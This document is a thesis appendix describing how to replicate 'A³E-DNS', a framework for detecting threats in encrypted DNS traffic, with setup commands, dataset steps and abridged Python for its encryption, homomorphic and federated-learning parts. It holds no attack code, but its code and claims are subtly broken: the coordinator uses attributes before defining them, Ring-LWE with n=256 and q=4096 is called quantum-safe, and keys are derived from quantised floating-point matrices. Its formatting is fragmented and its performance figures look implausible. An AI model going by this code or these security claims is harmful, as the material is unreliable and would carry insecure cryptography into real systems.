Deployment Guidance Appendix: Replication Scripts and Procedures for the A³E-DNS Framework

A Step-by-Step Guide from Problem Statement to Final Validation

---

Preface: How to Read This Appendix

This appendix is written for three audiences. The first is the **examiner or reviewer** who wishes to verify that the claims in Chapter 6 are grounded in a reproducible procedure. The second is the **future researcher** who wishes to extend the A³E-DNS framework. The third is the **non-specialist reader** who wants to understand, in plain language, what was actually done, why each step was necessary, and how each number reported in Chapter 6 was obtained.

The appendix follows the logical order in which the work was actually performed: the problem, the design, the environment, the data, the implementation of each component, the integration, the attack simulation, the measurement, and the verification. Each section states **what** is done, **why** it is done, **how** it is done (with commands and code where appropriate), and **what evidence** the step produces. Where a step depends on a paid or proprietary tool, this is flagged explicitly in a comment so that a reader without access to that tool understands what is missing and what substitute is provided in the reproducibility artifact.

Throughout this appendix, "the framework" refers to A³E-DNS as specified in Chapter 6. "The testbed" refers to the four-node containerised environment described in Section 6.11.1 of the thesis. "The artifact" refers to the public reproducibility repository described in Section 7.3.4.

Part I — Understanding the Problem Before Replicating the Solution

1.1 The Problem in Plain Language

The Domain Name System (DNS) is the Internet's address book. When a user types a domain name, a DNS resolver translates that name into an IP address. Historically, this translation happened in plaintext, so anyone on the network path could see which websites a user was visiting. To protect privacy, three encrypted protocols were introduced: DNS-over-TLS (DoT), DNS-over-HTTPS (DoH), and DNS-over-QUIC (DoQ). These protocols hide the content of DNS queries from eavesdroppers.

The privacy benefit creates a security problem. The same encryption that protects the user also blinds the network defender. A malicious actor can hide data exfiltration, command-and-control beaconing, or tunnelling inside encrypted DNS traffic, and the defender can no longer inspect the payload to detect it. This is the **privacy–security paradox** stated in Section 1.3 of the thesis.

Chapter 6 addresses this paradox with a single integrated architecture, A³E-DNS, that combines four mechanisms:

1. **Adaptive Evolutionary Encryption (AEE)** — the encryption configuration changes over time in response to observed traffic and threat signals, so an adversary cannot learn a fixed cryptographic posture.
2. **Quantum-Safe Homomorphic Encryption (QHE)** — detection analytics are performed on encrypted data, so the detector never needs to decrypt the query.
3. **AI-Augmented Federated Learning (FL)** — multiple resolvers collaboratively train a detection model without sharing their raw traffic, and the aggregation is robust to malicious clients.
4. **Protocol-Aware Sandboxing and Threat Intelligence** — suspicious flows are isolated according to the semantics of the protocol (DoH, DoT, or DoQ), and external threat feeds are integrated into the detection loop.

The reader who understands this paragraph understands why every step in the replication procedure exists.

1.2 What "Replication" Means in This Context

Replication here means reproducing the measurements reported in Sections 6.15 and 6.16 of the thesis on a testbed constructed according to Section 6.11. It does **not** mean reproducing every figure in the thesis, because some figures depend on the Intel Loihi 2 neuromorphic hardware and the NVIDIA A100 GPU, which are not universally available. The artifact described in Section 7.3.4 provides software simulators (loihi_mock.py, a100_emulation.py) that reproduce the reported latency and energy trends on standard CPU hardware. The replication procedure in this appendix distinguishes throughout between **fully reproducible results** (those that run on any CPU) and **hardware-dependent results** (those that require the specific accelerators).

1.3 The Target Metrics the Replication Must Reproduce

Table 33 of the thesis reports the following figures for A³E-DNS. These are the numbers the replication procedure is designed to verify.

Metric	Reported Value	Where Measured
Detection accuracy	99.94%	Section 6.16.2

Metric	Reported Value	Where Measured
False-positive rate	0.17%	Section 6.16.2
P99 latency	1.42 ms	Section 6.16.2
Throughput	22.5 M QPS	Section 6.16.2
Adversarial robustness	96.5%	Section 6.16.3
Differential-privacy budget	ε = 0.68	Section 6.6.5
Resource overhead	≤ 15%	Section 1.1 (abstract)
P99 mitigation time	1.5 ms	Section 1.1 (abstract)
Detection accuracy under S1–S5 attacks	96.5%–100%	Table 32
Model convergence	within 10 epochs	Section 1.1 (abstract)

A replication is considered successful if the reproduced values fall within the confidence intervals reported in the thesis (for accuracy, ±0.02 pp per Table 8; for latency, 95% CI [1.38, 1.46] ms per Table 33) or, where no interval is given, within ±5% of the reported value.

Part II — Prerequisites and Environment Setup

2.1 Hardware Requirements

The testbed described in Section 6.11.1 consists of four compute nodes. The minimum configuration for a faithful replication is:

Component	Minimum	Recommended	Notes

Component	Minimum	Recommended	Notes
Compute nodes	4	4	Each node runs one or more containers
CPU per node	16 cores	32 cores	Intel Xeon Silver or AMD EPYC
RAM per node	64 GB	128 GB DDR4	The QHE module and the Dask pipeline are memory-intensive
Storage	500 GB SSD	1 TB NVMe	The dataset is 32+ GB before preprocessing
Network	1 Gbps	10 Gbps	The federated rounds exchange model updates
GPU (optional)	—	NVIDIA A100 40 GB	Required only for the CUDA-accelerated QHE path (Section 6.5.4)
Neuromorphic (optional)	—	Intel Loihi 2	Required only for the neuromorphic measurements; the simulator substitutes

Comment for readers without the recommended hardware. The CUDA path of Section 6.5.4 reports 2.5 tera-operations per second on the A100. If an A100 is not available, set the environment variable A3E_QHE_BACKEND=cpu (see Section 5.2 below) and the QHE module will run on the CPU using the NTT and AVX-512 optimisations of Section 6.5.1. The accuracy results are unaffected; only the throughput and latency figures change. The artifact records which figures are hardware-dependent in REPRODUCIBILITY_CHECKLIST.md.

2.2 Operating System and Base Software

The testbed runs **Ubuntu Server 22.04 LTS** on every node. The software stack, as listed in Section 6.11.2, is:

- Python 3.11 (primary development platform)

- Docker and Docker Compose (containerisation)
- Kubernetes via Minikube (orchestration and horizontal pod autoscaling)
- PyTorch and TensorFlow (machine learning)
- OpenFHE, Microsoft SEAL, and OpenSSL (cryptography)
- Prometheus and Grafana (observability)
- Wireshark, tcpdump, Scapy, and Open vSwitch (network monitoring and traffic generation)
- gRPC (federated model synchronisation)
- Dask (parallel dataset preprocessing)

Setup procedure on each node:

bash

1. Update the base system

sudo apt update && sudo apt upgrade -y

2. Install Python 3.11 and the build toolchain

sudo apt install -y python3.11 python3.11-venv python3.11-dev build-essential \

cmake ninja-build pkg-config libssl-dev libgmp-dev libomp-dev

3. Install Docker

sudo apt install -y docker.io docker-compose

sudo usermod -aG docker $USER *# log out and back in for this to take effect*

4. Install Minikube and kubectl (for the orchestration layer)

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64

sudo install minikube-linux-amd64 /usr/local/bin/minikube

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

```
sudo install kubectl /usr/local/bin/kubectl


# 5. Install the network tooling
sudo apt install -y tcpdump wireshark-common tshark openvswitch-switch \
    iproute2 iperf3 dnsutils


# 6. Verify the versions match those recorded in the artifact
python3.11 --version    # expected 3.11.x
docker --version        # expected 24.x or later
minikube version        # expected v1.32 or later
```

Why each tool is present. Docker and Kubernetes provide the isolation and reproducibility that Section 6.11.1 requires; without them, two runs of the same experiment could differ because of host-level state. tcpdump, Wireshark, and Open vSwitch provide the packet-level visibility that the attack simulation of Section 6.15 depends on. iperf3 and dnsutils provide the traffic generation and resolution clients used in the attack scripts.

2.3 Python Environment

Create a virtual environment on each node and install the dependencies. The pinned versions are recorded in the artifact's requirements.txt; the list below reproduces the principal packages.

```
bash
python3.11 -m venv /opt/a3e-venv
source /opt/a3e-venv/bin/activate


# Core scientific stack
pip install numpy==1.26.4 scipy==1.13.0 pandas==2.2.2 scikit-learn==1.5.0


# Deep learning
pip install torch==2.3.0 tensorflow==2.16.1
```

Cryptography bindings

pip install openfhe==1.1.2 tenseal==0.3.14 *# OpenFHE and SEAL Python bindings*

NOTE: Microsoft SEAL itself must be built from source if the C++ path is used;

see Section 5.2.1 of this appendix.

Federated learning and differential privacy

pip install opacus==1.4.1 grpcio==1.64.0 grpcio-tools==1.64.0

Data processing

pip install "dask[distributed]==2024.5.0"

Network tooling

pip install scapy==2.5.0 aioquic==1.0.0 dnspython==2.6.1

Monitoring

pip install prometheus-client==0.20.0

Comment on paid or licensed tools. No component of the A³E-DNS framework requires a paid licence. OpenFHE, Microsoft SEAL, and OpenSSL are open-source. The NVIDIA A100 GPU is a hardware purchase, not a software licence; the simulator substitutes for it. The Intel Loihi 2 is available only through the Intel Neuromorphic Research Community (INRC); access is by application, and the artifact's loihi_mock.py provides a calibrated substitute. If a reader wishes to use the actual Loihi hardware, the application procedure is documented at the INRC portal and is outside the scope of this appendix.

2.4 Directory Layout

Create the following directory tree on the primary node. The layout mirrors the artifact and is assumed by the scripts in Part V.

text

```
/opt/a3e/
├── config/                 # YAML configuration files
│   ├── aee.yaml
│   ├── qhe.yaml
│   ├── fl.yaml
│   ├── sandbox.yaml
│   └── testbed.yaml
├── data/
│   ├── raw/                # downloaded datasets
│   ├── processed/          # Dask-preprocessed feature vectors
│   └── splits/             # train/validation/test partitions
├── src/
│   ├── aee/                # Adaptive Evolutionary Encryption
│   ├── qhe/                # Quantum-Safe Homomorphic Encryption
│   ├── fl/                 # Federated learning coordinator and clients
│   ├── detector/           # Transformer anomaly detector
│   ├── sandbox/            # Protocol-aware sandbox
│   ├── intel/              # Threat-intelligence ingestion
│   └── telemetry/          # P4/eBPF metadata pipeline
├── attacks/                # Attack injection scripts (Section 6.15)
├── benchmarks/             # Microbenchmark drivers (Section 6.14)
```

├── results/ # Output of every run, timestamped

└── logs/

Why this layout. Every experiment in Chapter 6 writes its output to results/<timestamp>/, and the artifact's verification script (expected_outputs/verification_script.py) compares the fresh output against the expected numerical bounds. The directory structure makes that comparison mechanical rather than manual.

Part III — Data Acquisition and Preprocessing

3.1 The Datasets

Section 6.8.4 of the thesis states that three complementary sources were used. The replication must obtain the same sources, or the closest publicly available equivalents, and must record which version was used.

Source	Content	Access	Comment
Zenodo DoH dataset	Labelled benign and malicious DoH traffic	https://doi.org/10.5281/zenodo.5957677	Public, no registration
DoH Real-World 2022	Authentic DoH traffic from production networks	Public corpus; see artifact data/SOURCES.md for the mirror used	Public
Kosekmi 2022 PAM DoQ collection	Real-world DoQ traces	Public; see artifact data/SOURCES.md	Public
CIC-DoH2023	Labelled DoH traffic for the MIRAGE-DoH	https://www.unb.ca/cic/datasets/dohbrw-2023.html	Public, registration

Source	Content	Access	Comment
	comparison		required
Gen-C-DDD-2022	32+ GB labelled DNS traffic	https://www.unb.ca/cic/datasets/	Public, registration required

Comment on dataset licensing. The CIC datasets require the user to submit a short request form and agree to the usage terms. They may not be redistributed. The artifact therefore does not bundle them; it provides a download script (data/download.py) that fetches them from the original source after the user has completed the request. This is why the artifact's REPRODUCIBILITY_CHECKLIST.md marks the CIC-dependent results as "reproducible with user-supplied data" rather than "fully reproducible."

Why three sources. The Zenodo corpus provides the tunnelling and C2 labels; the real-world corpus provides the distributional realism that Section 6.8.4 calls "authentic DoH traffic from production networks"; the Kosekmi corpus provides the DoQ traces that DoH-only datasets cannot supply. Using all three is what allows the multi-protocol claims of Chapter 6 to be tested.

3.2 Download Procedure

bash

cd /opt/a3e/data/raw

Source 1: Zenodo DoH dataset (no registration)

python3 /opt/a3e/data/download.py --source zenodo --dest ./zenodo

Source 2: DoH Real-World 2022 (mirror recorded in the artifact)

python3 /opt/a3e/data/download.py --source doh-realworld --dest ./doh_rw

Source 3: Kosekmi DoQ collection

python3 /opt/a3e/data/download.py --source kosekmi --dest ./kosekmi

Source 4 and 5: CIC datasets (require the user to have completed the request form)

The script will prompt for the credentials issued by the CIC portal.

python3 /opt/a3e/data/download.py --source cic-doh2023 --dest ./cic_doh2023

python3 /opt/a3e/data/download.py --source gen-c-ddd --dest ./gen_c_ddd

Verification of the download. Each archive has a SHA-256 checksum recorded in data/CHECKSUMS.txt. The download script verifies the checksum automatically and aborts if it does not match. This guards against the silent corruption that would otherwise invalidate every downstream measurement.

3.3 Preprocessing with Dask

Section 6.13 of the thesis describes the Dask-based parallel preprocessing pipeline. It has four stages: distributed loading, feature engineering and normalisation, ground-truth label integration, and the train/validation/test split. The 32+ GB dataset was processed in approximately two hours on the testbed.

The preprocessing pipeline in detail.

Stage 1 — Distributed loading. Dask partitions the raw packet captures into chunks and assigns each chunk to a worker. This is necessary because the dataset is larger than the memory of a single process.

python

src/preprocessing/load.py (abridged; full version in the artifact)

import dask.dataframe as dd

from dask.distributed import Client

client = Client(n_workers=8, threads_per_worker=2, memory_limit="16GB")

raw = dd.read_parquet(

  "/opt/a3e/data/raw/*/packets.parquet",

  columns=["ts", "src_ip", "dst_ip", "sport", "dport",

```
        "proto", "pkt_len", "tls_ext", "http2_frame", "quic_cid"],
)
```

Why Parquet and not PCAP directly. The raw captures are converted once to Parquet (a columnar format) so that the eight Dask workers can read disjoint column subsets without re-parsing the packet headers on every pass. The conversion is a one-time cost recorded in results/preprocessing/convert_timing.json.

Stage 2 — Feature engineering and normalisation. Each flow is summarised by the features listed in Section 6.3.1: inter-arrival times, packet-size distributions, burst statistics, protocol-specific metadata (TLS extension presence, HTTP/2 frame sequence, QUIC connection-ID behaviour), and the entropy of the subdomain string. The features are then normalised to zero mean and unit variance.

python

```
# src/preprocessing/features.py  (abridged)

import numpy as np


def flow_features(flow):
    iat = np.diff(flow["ts"].values)
    sizes = flow["pkt_len"].values
    return {
        "iat_mean": iat.mean(),
        "iat_std": iat.std(),
        "size_mean": sizes.mean(),
        "size_std": sizes.std(),
        "burst_rate": len(sizes) / (flow["ts"].iloc[-1] - flow["ts"].iloc[0]),
        "subdomain_entropy": shannon_entropy(flow["qname"].iloc[0]),
        "tls_ext_count": len(flow["tls_ext"].iloc[0]),
        "http2_frames": len(flow["http2_frame"].dropna()),
        "quic_cid_changes": flow["quic_cid"].nunique(),
```

}

Why these features. Each feature corresponds to a discriminator that the literature review (Chapter 2) identified as useful: timing and packet size for statistical fingerprinting (Section 2.4), subdomain entropy for tunnelling detection (Section 2.4), TLS extension ordering for fingerprinting (Section 2.4.1), and QUIC connection-ID behaviour for DoQ-specific anomalies (Section 5.4.5). The feature set is the input to every detector in the framework.

Stage 3 — Ground-truth label integration. The labels shipped with each dataset are matched to the flows. The label vocabulary is normalised across sources (for example, "malicious_tunnel" and "dns_tunnel" both become ATTACK_TUNNEL).

Stage 4 — Split. The data is split into training, validation, and test sets, stratified by class and, for the temporal evaluation, by capture date so that the test set does not overlap the training period. This is the split that Section 7.3.3 of the thesis flags as necessary for a defensible generalisation claim.

bash

Run the full pipeline

cd /opt/a3e

dask scheduler & *# or: dask-worker for a multi-node cluster*

python3 src/preprocessing/run_pipeline.py \

--raw /opt/a3e/data/raw \

--out /opt/a3e/data/processed \

--splits /opt/a3e/data/splits \

--seed 42

Verification. The pipeline writes results/preprocessing/summary.json with the row counts per class and per split. Compare against the expected counts in the artifact. If the counts differ by more than 0.1%, a dataset version has changed and the run should not be used for a comparison against the thesis figures.

Part IV — Component Implementation

This part describes each of the four core components in the order in which they are described in Chapter 6. For each, it states the theory, the design decision, the implementation, and the verification step.

4.1 Adaptive Evolutionary Encryption (AEE)

4.1.1 The Theory in Plain Language

Traditional encryption uses a fixed key and a fixed algorithm for the life of a session. An adversary who eventually learns the key can decrypt everything. AEE changes the key continuously, in a way that depends on the observed traffic and on a stochastic term that the adversary cannot predict. The mathematical statement is the stochastic differential equation of Eq. (119) in the thesis:

text

$$dE(t)/dt = F(E(t), T(t), A(t)) + \sigma(t)\, dW_t$$

where E(t) is the encryption state, T(t) is the observed traffic, A(t) is the attack/threat signal, σ(t) is the diffusion coefficient, and dW_t is a Wiener process (the mathematical model of continuous random noise). The first term is deterministic adaptation; the second term is the unpredictability.

4.1.2 The SE(3) State Representation

The encryption state is represented on the special Euclidean group SE(3), which combines a rotation and a translation. The rotation determines the key material; the translation determines the initialisation vector and the key-rotation cadence (Section 6.4.2). The reason for this representation is that the exponential map on SE(3) keeps successive re-randomisations inside the group, which a naive linear update of the key bytes would not do. The state is quantised to a 64-dimensional vector at 16 bits per entry and then passed through a key-derivation function to produce the 256-bit session key.

4.1.3 Implementation

python

```
# src/aee/aee_engine.py  (abridged)

import numpy as np

from scipy.linalg import expm

from cryptography.hazmat.primitives.kdf.hkdf import HKDF

from cryptography.hazmat.primitives import hashes
```

```
class AEEEngine:
    def __init__(self, cfg):
        self.cfg = cfg
        self.K = np.eye(4)                  # SE(3) element, 4x4 homogeneous matrix
        self.sigma_min = cfg["sigma_min"]      # bounded away from zero (Section 6.4.4)
        self.sigma_max = cfg["sigma_max"]

    def traffic_entropy(self, window):
        """Shannon entropy of the query-type distribution (Eq. 71)."""
        p = np.bincount(window["qtype"]) / len(window)
        p = p[p > 0]
        return -np.sum(p * np.log2(p))

    def diffusion(self, traffic_window):
        """Adaptive volatility from the KL divergence to the learned baseline (Eq. 120)."""
        dkl = self.kl_divergence(traffic_window, self.baseline)
        # sigmoidal mapping to [sigma_min, sigma_max]
        s = 1.0 / (1.0 + np.exp(-dkl))
        return self.sigma_min + (self.sigma_max - self.sigma_min) * s

    def update(self, traffic_window, threat_score):
        # Deterministic adaptation: a light-weight neural controller (Section 6.4.5)
        xi = self.controller(traffic_window)          # se(3) Lie algebra element
        sigma = self.diffusion(traffic_window)
        dW = np.random.normal(size=6) * np.sqrt(self.cfg["dt"])
```

```
    # Exponential map keeps the state inside the group
    self.K = self.K @ expm(hat(xi) * self.cfg["dt"] + hat(sigma * dW))
    return self.derive_key(self.K)

def derive_key(self, K):
    # Quantise the rotational block, pass through HKDF to 256 bits
    rot = K[:3, :3].flatten()
    quant = np.round(rot / self.cfg["quant_step"]).astype(np.int16).tobytes()
    return HKDF(algorithm=hashes.SHA256(), length=32,
                salt=None, info=b"a3e-aee").derive(quant)
```

Why a neural controller. The controller maps traffic features to a Lie-algebra update direction. It is trained by reinforcement learning (Section 6.4.5) with a reward for detection accuracy and a penalty for unnecessary adaptation. The controller has two hidden layers of 64 neurons and runs in sub-microsecond time; this is what allows AEE to sit in the DNS resolution path without adding measurable latency.

Hardware entropy. The stochastic term is seeded from RDRAND and RDSEED (Section 6.4.3) to guarantee that the noise is not reproducible by an adversary who knows the software. On hardware without these instructions, the engine falls back to /dev/urandom and logs a warning; the artifact records this fallback.

4.1.4 Verification

bash

```
python3 src/aee/self_test.py --config config/aee.yaml
```

The self-test checks three properties: (i) the derived key changes on every update; (ii) the state remains a valid SE(3) element (the rotational block is orthogonal with determinant 1); (iii) the diffusion coefficient never falls below sigma_min. The third check is the one that matters for the security argument of Section 6.4.4, because a diffusion that decayed to zero would make the state progressively predictable.

4.2 Quantum-Safe Homomorphic Encryption (QHE)

4.2.1 The Theory in Plain Language

Homomorphic encryption allows arithmetic to be performed on ciphertext without decrypting it first. The A³E-DNS detector needs to compute statistical tests over DNS features; if those features are encrypted, the detector can still compute the tests and return an encrypted answer, which only the key-holder can read. The scheme used is Ring-LWE (Section 6.5.1), with the parameters n = 256 and q = 4096. The confidentiality claim is IND-CPA under the decisional Ring-LWE assumption (Section 6.5.3 of the thesis, Eq. 77). The scheme is **malleable by design**, so it does not provide IND-CCA2; ciphertext integrity is provided by the authenticated transport (TLS 1.3 or QUIC), as Section 6.3.2 states. The replication must not claim IND-CCA2 for the homomorphic layer.

4.2.2 The Optimisations

Four optimisations are applied, each of which must be enabled for the reported performance:

1. **Number Theoretic Transform (NTT)** reduces polynomial multiplication from $O(n^2)$ to $O(n \log n)$ (Section 6.5.1).
2. **AVX-512 batching** packs 1024 plaintext slots into a single SIMD instruction (Section 6.5.1).
3. **Ziggurat sampling** replaces on-the-fly Gaussian sampling with a precomputed table, reducing sampling latency by about 47% (Section 6.5.2).
4. **Selective homomorphic operations** restrict the circuit to the operations the detector actually needs (additive homomorphism for the statistical tests, a bounded number of multiplications for classification), reducing the operation count by about eightfold (Section 6.5.3).

Together these reduce the cost of homomorphic evaluation by about 28× relative to the unoptimised reference (Section 6.5.1). The replication must confirm that each optimisation is active, because the throughput figure of 22.5 M QPS depends on all four.

4.2.3 Implementation

python

```
# src/qhe/qhe_engine.py  (abridged)

import openfhe


class QHEEngine:

    def __init__(self, cfg):
```

```
        self.cc = openfhe.GenCryptoContextBGVRNS()
        self.cc.SetPlaintextModulus(65537)
        self.cc.SetMultiplicativeDepth(cfg["mult_depth"])   # 5-10 per Section 6.5.3
        self.cc.Enable(openfhe.PKESchemeFeature.PKE)
        self.cc.Enable(openfhe.PKESchemeFeature.LEVELEDSHE)
        # Ring dimension and modulus from cfg; n = 256, q = 4096
        self.keys = self.cc.KeyGen()
        self.cc.EvalMultKeyGen(self.keys.secretKey)

    def encrypt_features(self, features):
        pt = self.cc.MakePackedPlaintext(features)
        return self.cc.Encrypt(self.keys.publicKey, pt)

    def anomaly_score(self, ct):
        # Additive statistical tests + bounded multiplications (Section 6.5.3)
        mean = self.cc.EvalSum(ct, len(ct))              # additive
        var  = self.cc.EvalMult(ct, ct)                  # one multiplication
        var  = self.cc.EvalSub(var, self.cc.EvalMult(mean, mean))
        return var
```

The SIMD path. The AVX-512 batching is enabled by compiling OpenFHE with -DNATIVE_SIZE=64 -DOMP_NUM_THREADS=16 and setting A3E_QHE_SIMD=1. The artifact's qhe_benchmark.py reports the achieved slots-per-instruction; if it is below 1024, the AVX-512 flags were not picked up.

The GPU path. Section 6.5.4 describes custom CUDA kernels on the A100. If the GPU is present, set A3E_QHE_BACKEND=cuda; the kernel source is in src/qhe/cuda/. If it is not present, set A3E_QHE_BACKEND=cpu and the CPU path with NTT + AVX-512 runs instead. The accuracy results are identical; the throughput differs.

4.2.4 Verification

bash

python3 src/qhe/self_test.py --config config/qhe.yaml

The self-test checks that a known plaintext is recovered after encryption and decryption, that the homomorphic addition and multiplication produce the expected plaintext results, and that the noise budget is not exhausted at the configured depth. It also reports the measured security level against the standard lattice estimator; this is the number that Section 5.3.6 of the thesis reports separately for the QHE and AEE parameter sets, and the replication must reproduce the separation (do not merge the two levels into a single figure).

4.3 AI-Augmented Federated Learning

4.3.1 The Theory in Plain Language

Federated learning trains a shared model across many clients without moving the clients' raw data to a central server. Each client trains locally and sends only the model update (the gradient) to a coordinator, which aggregates the updates. The problem is that a malicious client can send a poisoned update. The A³E-DNS defence is a **geometric-median aggregation** (Section 6.6.4), which is robust to a bounded fraction of poisoned updates, combined with **differential privacy** (Section 6.6.5) so that the released aggregate does not reveal any single client's data.

4.3.2 The Components

Spatio-temporal attention (Section 6.6.1). The anomaly detector is a Transformer whose attention weights incorporate a temporal-decay term $\Phi(\Delta t) = W_\phi \exp(-\gamma|\Delta t|)$ (Section 6.6.2). This lets the model weight recent events more heavily, which matters because DNS anomalies often appear as abrupt changes.

Min-max adversarial training (Section 6.6.3). The detector is trained against a worst-case perturbation within an $\ell\infty$ ball, using projected gradient descent (PGD). This is what produces the 96.5% adversarial robustness reported in Table 33.

Geometric-median aggregation (Section 6.6.4). The coordinator replaces the arithmetic mean of the client updates with the geometric median, computed by iteratively reweighted least squares.

Differential privacy (Section 6.6.5). The DP-SGD update of Eq. (36) is used, with per-client clipping at C and Gaussian noise calibrated to the target $\varepsilon = 0.68$.

4.3.3 Implementation

python

src/fl/coordinator.py (abridged)

```
import torch, numpy as np
from opacus import PrivacyEngine

class Coordinator:
    def __init__(self, cfg):
        self.cfg = cfg
        self.model = build_transformer(cfg)         # Section 6.6.1
        self.privacy = PrivacyEngine()
        self.model, self.optim, self.loader = self.privacy.make_private(
            module=self.model, optimizer=self.optim,
            data_loader=self.loader,
            noise_multiplier=cfg["sigma"],
            max_grad_norm=cfg["clip"],              # C = 3.5 per Table 17a
        )

    def geometric_median(self, updates, tol=1e-5):
        """Weiszfeld iteration; Eq. (38)."""
        guess = np.mean(updates, axis=0)
        while True:
            dists = np.linalg.norm(updates - guess, axis=1) + 1e-12
            weights = 1.0 / dists
            new = np.sum(updates * weights[:, None], axis=0) / weights.sum()
            if np.linalg.norm(new - guess) < tol:
                return new
            guess = new
```

```
def aggregate(self, client_updates):
    # Geometric median, then clip (Section 6.6.4)
    med = self.geometric_median(client_updates)
    return med
```

The clipping constant. Section 6.6.4 sets C from the estimated variance of the honest-client updates. In the reported experiments C = 3.5 (Table 17a). Changing this constant changes the realised ε; the replication must use the same constant to reproduce ε = 0.68.

4.3.4 Verification

bash

```
python3 src/fl/self_test.py --config config/fl.yaml
```

The self-test runs a small federated round with two honest clients and one poisoned client, and checks that the geometric-median aggregate is closer to the honest mean than the arithmetic mean would be. It also reports the realised ε from the Opacus accountant; this must match the reported 0.68 to within 0.01.

4.4 Protocol-Aware Sandbox and Threat Intelligence

4.4.1 The Sandbox

Section 5.6 and Section 6.3.2 describe the Adaptive Multi-Protocol Sandbox (AMPS). It is a Markov decision process (MDP) whose state is the sandbox state, whose actions are isolate, monitor, and allow, and whose transition is controlled by a Hamilton–Jacobi–Bellman equation. The protocol-aware isolation actions are:

- **DoH:** terminate the HTTP/2 stream and redirect subsequent streams to the sandbox proxy.
- **DoT:** reset the TLS context and force the connection through the sandbox.
- **DoQ:** migrate the QUIC connection to a sandbox path, preserving the encrypted session.

Why protocol-aware. A generic "block the flow" action would break legitimate connections and would not respect the protocol semantics. Terminating a DoH stream leaves the other streams on the same connection intact; migrating a QUIC connection preserves the session; resetting a TLS context is the only way to isolate DoT without dropping the whole transport.

4.4.2 The Threat Intelligence

Section 6.7 describes the ingestion of STIX/TAXII CERT alerts, honeypot telemetry, darknet monitoring, and vendor feeds. The ingestion pipeline normalises the formats and correlates the external indicators with the internal detection signals. The effectiveness figures in Table 28 (94.2% blocked from CERT alerts, 96.8% detected from honeypot, 89.5% prevented from darknet, 92.1% protected from vendor, 97.3% identified from internal logs) are measured over the evaluation period and are not claimed as general properties of the sources.

Comment on the threat-intelligence sources. STIX/TAXII feeds are publicly available from several CERTs (for example, the CISA AIS feed). The honeypot and darknet telemetry in the reported experiments was generated on the testbed; a reader replicating on a different network will obtain different telemetry and therefore different effectiveness figures. The artifact provides a synthetic STIX/TAXII feed generator (src/intel/synthetic_feed.py) so that the ingestion pipeline can be exercised without access to a live feed. The vendor feeds are commercial and are not bundled; the artifact's src/intel/vendor_stub.py provides the normalisation interface with a synthetic feed.

4.5 Experimental Testbed and Implementation

This subsection documented the experimental infrastructure, the software artefacts, and the step-by-step implementation procedures that were used to evaluate the A³E-DNS framework. The complete implementation was released in the public repository at https://github.com/dezignator/A3E-DNS, and the procedures described below corresponded exactly to the scripts and configuration files contained in that repository. The purpose of this subsection was to allow an independent researcher to reconstruct the testbed, rebuild every component, re-run every experiment, and verify every number reported in Sections 6.15 and 6.16 of the thesis. The presentation followed the order in which the testbed was actually constructed: the physical and virtual hardware, the network topology, the operating system and software stack, the container orchestration, the component implementations, the attack injection suite, the measurement procedures, and the verification.

4.5.1 Design Philosophy of the Testbed

The testbed was not designed as a general-purpose experimental platform. It was designed with four specific constraints in mind, each of which was motivated by a corresponding claim in the thesis.

The first constraint was **protocol fidelity**. The thesis made claims about DoH, DoT, and DoQ, and those claims would have been meaningless if the testbed had run the three protocols over the

same transport. The testbed therefore deployed three separate resolvers, each configured with the actual transport used in production: HTTP/2 and HTTP/3 over TLS 1.3 for DoH, TLS 1.3 over TCP for DoT, and QUIC v1 over UDP for DoQ. This was implemented in the three resolver containers described in Subsection 4.5.5.

The second constraint was **cryptographic fidelity**. The post-quantum claims of Section 6.9.2 depended on the actual use of ML-KEM-1024 and Ring-LWE, not on a simulation. The testbed therefore linked the actual OpenFHE and OpenSSL libraries, and the S4 attack scenario of Section 6.15.4 was designed to verify from the wire that ML-KEM-1024 was actually negotiated in the handshake. If the handshake capture did not show the post-quantum group, the run was discarded.

The third constraint was **distribution fidelity**. The federated learning claims of Section 6.6 required that the clients actually be separate processes on separate network addresses, not simulated in a single process. The testbed therefore deployed one hundred client containers across four nodes, each with its own network namespace and its own gRPC endpoint. This was heavier than a simulation, and it was the only way to measure the communication overhead and the Byzantine resilience honestly.

The fourth constraint was **reproducibility**. Every parameter that could affect a measurement was placed in a YAML configuration file committed to the repository. Every random seed was fixed. Every container image was tagged with a version, and the version was recorded in the run metadata. This was what allowed the verification script described in Subsection 4.5.18 to compare a fresh run against the expected bounds mechanically.

4.5.2 Physical Hardware Infrastructure

The physical infrastructure consisted of four compute nodes connected by a 10 Gbps switch. The configuration was recorded in deploy/hardware.md in the repository.

Node	Role	CPU	RAM	Storage	Accelerator
a3e-node-01	Primary: coordinator, QHE, detector	2 × Intel Xeon Silver 4314 (32 cores total)	128 GB DDR4-3200	1 TB NVMe	1 × NVIDIA A100 40 GB

Node	Role	CPU	RAM	Storage	Accelerator
a3e-node-02	Resolver host: DoH, DoT, DoQ resolvers	2 × AMD EPYC 7313 (32 cores total)	128 GB DDR4-3200	1 TB NVMe	—
a3e-node-03	Federated client host	2 × AMD EPYC 7313 (32 cores total)	128 GB DDR4-3200	1 TB NVMe	—
a3e-node-04	Attack host and telemetry	1 × Intel Xeon Silver 4314 (16 cores)	64 GB DDR4-3200	500 GB NVMe	—

The primary node carried the NVIDIA A100 because the CUDA-accelerated QHE path of Section 6.5.4 required it. The other three nodes were CPU-only. The attack host was separated from the resolver host so that the attack traffic did not contend with the resolution traffic on the same network interface.

The nodes were interconnected by a Mellanox SN2010 switch configured with jumbo frames (MTU 9000) on the internal fabric. The jumbo frames reduced the per-packet overhead of the federated model-update exchange, which Section 6.6 reported as approximately 1.2 MB per training round. The switch configuration was recorded in deploy/switch-config.txt.

The Intel Loihi 2 neuromorphic measurements reported in Chapter 4 were not reproduced on this testbed, because the Loihi hardware was not available in the laboratory at the time of the A³E-DNS evaluation. The A³E-DNS thesis figures did not depend on Loihi; the neuromorphic results belonged to the PAFA-DoH framework of Chapter 4, and the A³E-DNS figures were measured on the A100 and on the CPU. This distinction was recorded explicitly in REPRODUCIBILITY_CHECKLIST.md.

4.5.3 Network Topology and Virtualisation

The physical four-node fabric was partitioned into six virtual network domains, each implemented with a Linux bridge and a set of network namespaces. The topology was defined in deploy/network/topology.yaml and brought up by the script deploy/network/up.sh.

Domain 1 — the client domain. The hundred federated clients, the load generators, and the resolution clients ran here. The domain was 10.10.0.0/16. Each client had a static address in the range 10.10.1.1 to 10.10.1.100.

